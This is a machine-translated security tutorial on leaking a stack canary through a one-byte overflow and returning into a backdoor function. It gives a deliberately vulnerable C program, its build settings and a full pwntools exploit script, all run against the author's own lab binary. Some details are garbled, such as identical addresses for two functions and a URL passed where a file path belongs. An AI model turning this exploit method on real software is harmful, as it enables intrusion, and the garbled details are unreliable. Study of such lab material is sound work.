Canary protection mechanism and bypassing

0 22
Basic introduction to CanaryIn basic stack overflow, we can write the data we co...

Basic introduction to Canary

In basic stack overflow, we can write the data we construct into the stack by not limiting the input length or by using functions with loose limits, etc. The data that can be written includes but is not limited to:

  • a segment of executable code (disabledNX(under the premise of protection)

  • Canary protection mechanism and bypassing

    a return address specifically constructed

  • ......

One of the traditional defense mechanisms is to enable CanaryprotectionThis mechanism places a sequence of 8 bytes of random data at the bottom of the stack where our program runs, and verifies whether this data has changed when the function is about to return. If it has changed, it indicates that the stack has been altered, and the program will directlycallinto__stack_chk_fail. If the verification is successful, jump toleave and retnormal return.

WeChat Screenshot_20221009181351.png

how to bypass

directly obtain the value in the stackcanaryvalue
If the program will output the string we input, we can estimate the input limit by exceeding the input limit by 1 byte, since the C string is terminated by'\0'at the end, any extra 1 byte we input will overwrite'\0', in the following output, the output function used by the program itself has no limit on the output length, so the Canary value located at the higher address of the data stored in the stack will be leaked out. When we write the malicious return address to the stack next, we can overwrite this value and verify the success.

acquirefs:28hincanaryvalue
By observing the assembly code, we can find that each time the program runs, a randomcanaryvalues all existfs:28hin, next will be placed inEAXinmoventer the stack space of the program.

mov rax,fs:28h
mov [rbp-8],rax

Therefore, if there is any function with the ability to read in the program, you can directly read the value at the address.

byte-by-byte brute forcecanaryvalue

The other exploitation methods are not mentioned here due to lack of experience, but will be supplemented later when encountered.

preparation stage

source program

We will try to bypass the first method mentioned above next.canaryvalue verification.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_LENGTH 100

void init()
{
    setvbuf(stdin,0,_IONBF,0);
    setvbuf(stdout,0,_IONBF,0);
}

void backdoor()
{

    system("/bin/sh");

}

int main()
{

    char buf[10] = {0};

    init();
    printf("[DEBUGING] main: %p\n",main);
    printf("Hello,What's Your name?\n");

    read(0,buf,MAX_LENGTH);

    printf("%s",buf);
    printf("Welcom!\n");
    printf("But wait,WHO ARE YOU?\n");

    read(0,buf,MAX_LENGTH);

    printf("I don't know you,so bye ;)\n");

    return 0;

}

correspondingmakefilestatement.

OBJS=pwn_1.c
CC=gcc # It is gcc by default
CFLAGS+=-fstack-protector -no-pie -g

pwn_1:$(OBJS)
        $(CC) $^ $(CFLAGS) -o $@

clean:
        $(RM) *.o # Optional

after directlymakeand it's done, remember to name the source filepwn_1.c,aftergccIt may prompt an error messagereadThe function may be prone to overflow, so ignore it.

possible pitfalls

Remember the reference of the header file, since the one usedreadand other system call functions, so we need to enter the Unix standard libraryunistd.h.

checksec

After that, wechecksecThis file ensures that it has enabledcanaryprotection mechanism.

WeChat Screenshot_20221011181209.png

Canary foundconfirm that it is enabled

objdump

By observing the code, we can see that there is a function waiting to be exploited in our codebackdoor()The purpose is actually tomainAfter the function is executed, it returns to the functionSo we must calculate the offset of this function frommainthe relationship between function offsetsThis way, after installation, you can find the function offset by the difference between the base address and the offsetbackdoorfunction address.

objdmp -d pwn_1 -M intel

-d Disassemblepwn_1those instructions that need to be executedsection

-M Intel style to display assembly code, which is more in line with the assembly style we commonly see

Start!

determine the problem location

By viewing the source code (if the source code cannot be obtained, it can be simply judged by its behavior),Discover its provisionsreadhas a maximum length ofMAX_LENGTH 100and itsbufThere is only10, so it is confirmed that there is a stack overflow.

Since the screenshots for the next experiment are not from a complete process, but from repeated execution to show the entire process in more detail, there may be differences in addresses/values before and after.

determine the offset

First, we display usingobjdump -d pwn_1 confirm its.textin themainfunction andbackdoorThe offset of the function.

WeChat Screenshot_20221011191456.png

Here (no need to pad with zeros)

  • main()The address is0x401237

  • backdoor()The address is0x401237

But for the backdoor() function, since the first two instructions are used to save the previous stack state and initialize the current stack space, we do not need them, so when calculating the offset, we can directly:0x401237 - 0x401225That's it.

Next, we apply it to the final script to get the actualbackdoor()address.

from pwn import *

# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)

p = process('https://www.freebuf.com/articles/system/pwn_1')

# Pause execution until we press enter
raw_input('PAUSE')

# Remove all characters before mian: 
p.recvuntil(b'main: ')

backdoor = int(p.recvuntil(b'\n',drop=True),16) - (0x401237 - 0x401225)

# Output the calculated address for us to take a look at
log.info("The backdoor address is :" + hex(backdoor))

Because the program outputsmain()The address of the function, so there is no need to obtain it separately, just accept it directly%pto

backdoor = int(p.recvuntil(b'\n',drop=True),16) - (0x401237 - 0x401225)

address represented by the receivedmain()address, minus the just calculated offset, is thebackdoor()address.

WeChat Screenshot_20221011200055.png

Get a random canary value

Since our source program will output the input content in the form of a string, and as mentioned before, C strings are'\0'endingSo we just need to construct the firstreadThe data length is10 + 1so as to overwrite the last'\0'to overwrite the data at the higher address.canaryvalue is also output.

All talk and no action is false, let's take a look at our script first:

payload = b'a' * 11
p.sendafter(b'?',payload)

p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)

# Output logs to the console
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
  • First question: whycanary = p.recv(7)
    Because we just entered 11 bytes, andbufOnly 10 bytes in size,So we can overwrite upwards, coveringcanaryOne byte of which, and at the same time we can readcanaryThe remaining 7 bytes

  • Second question:int.from_bytes(canary, byteorder='little')Writing meaning
    Convert a string object to an integer in little-endianDisplay

Observe memory

Next, to make it easier to observe, we indeed get the value obtainedcanaryvalue, so we usegdbofattachAttach to the program opened by our script to observe.

Usage:attach + PID(Entergdbafter)

WeChat Screenshot_20221011211411.png

Before, we overwrote one more, covering the lower bit of the canary's value from 0 to a, and we can concatenate it back hereSo far, we have gotcanaryvalue.

Pile the return address into the stack

First, take a stack space of the program to observe.

WeChat Screenshot_20221011205258.png

The area enclosed by the first red box ismainthe address of the previous function before the function returns (see the second red box), so we just need to overwrite the address.

To overwrite the address, we need to overwrite frombuffrom the start to all the space at the address, but among them there is storedcanarythe position where we just saved outcanaryput it in again.

payload = b'a' * 10 # Cover all the space of the array
payload += canary # Since the space after the array is even the canary's space, put this value back to verify

pend = 0
payload += p64(pend) # Overwrite the 8-byte space pointed to by rbp

payload += p64(backdoor) # Finally, place the address of our backdoor

p.sendafter(b'YOU?',payload)

# Pause execution until we press enter
raw_input('PAUSE')

WeChat Screenshot_20221011210655.png

After that, throughgdbCheck the process and you will find.
WeChat Screenshot_20221011210639.png

Write successful.

Execution successful

WeChat Screenshot_20221011211056.png

Complete script

from pwn import *

# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)

p = process('https://www.freebuf.com/articles/system/pwn_1')

raw_input('PAUSE')

p.recvuntil(b'main: ')

# canary = 
backdoor = int(p.recvuntil(b'\n',drop=True),16) - (0x401237 - 0x401225)
log.info("The backdoor address is :" + hex(backdoor))

payload = b'a' * 11
p.sendafter(b'?',payload)

p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)

log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))

payload = b'a' * 10 # Cover all the space of the array
payload += canary # Since the space after the array is even the canary's space, put this value back to verify

pend = 0
payload += p64(pend) # Overwrite the 8-byte space pointed to by rbp

payload += p64(backdoor) # Finally, place the address of our backdoor

log.info("The payload is :%x",int.from_bytes(payload,byteorder='little'))

p.sendafter(b'YOU?',payload)

p.interactive()
你可能想看:

Article 2 of the Cryptography Law clearly defines the term 'cryptography', which does not include commonly known terms such as 'bank card password', 'login password', as well as facial recognition, fi

(3) Is the national secret OTP simply replacing the SHA series hash algorithms with the SM3 algorithm, and becoming the national secret version of HOTP and TOTP according to the adopted dynamic factor

d) Adopt identification technologies such as passwords, password technologies, biometric technologies, and combinations of two or more to identify users, and at least one identification technology sho

Announcement regarding the addition of 7 units as technical support units for the Ministry of Industry and Information Technology's mobile Internet APP product security vulnerability database

It is possible to perform credible verification on the system boot program, system program, important configuration parameters, and application programs of computing devices based on a credible root,

Knowledge Point 5: Bypass CDN through Space Engine & Use Tools for Global CDN Bypass Scanning

From 0 to 1, this article is enough to collect SQL injection (sql ten injection types), technical analysis and practical training

3. Implementation defects and bypassing integrity protection

How to use Acheron to modify Go programs and try to bypass antivirus product detection.

4.5 Main person in charge reviews the simulation results, sorts out the separated simulation issues, and allows the red and blue teams to improve as soon as possible. The main issues are as follows

最后修改时间:
admin
上一篇 2025年03月27日 19:51
下一篇 2025年03月27日 20:14

评论已关闭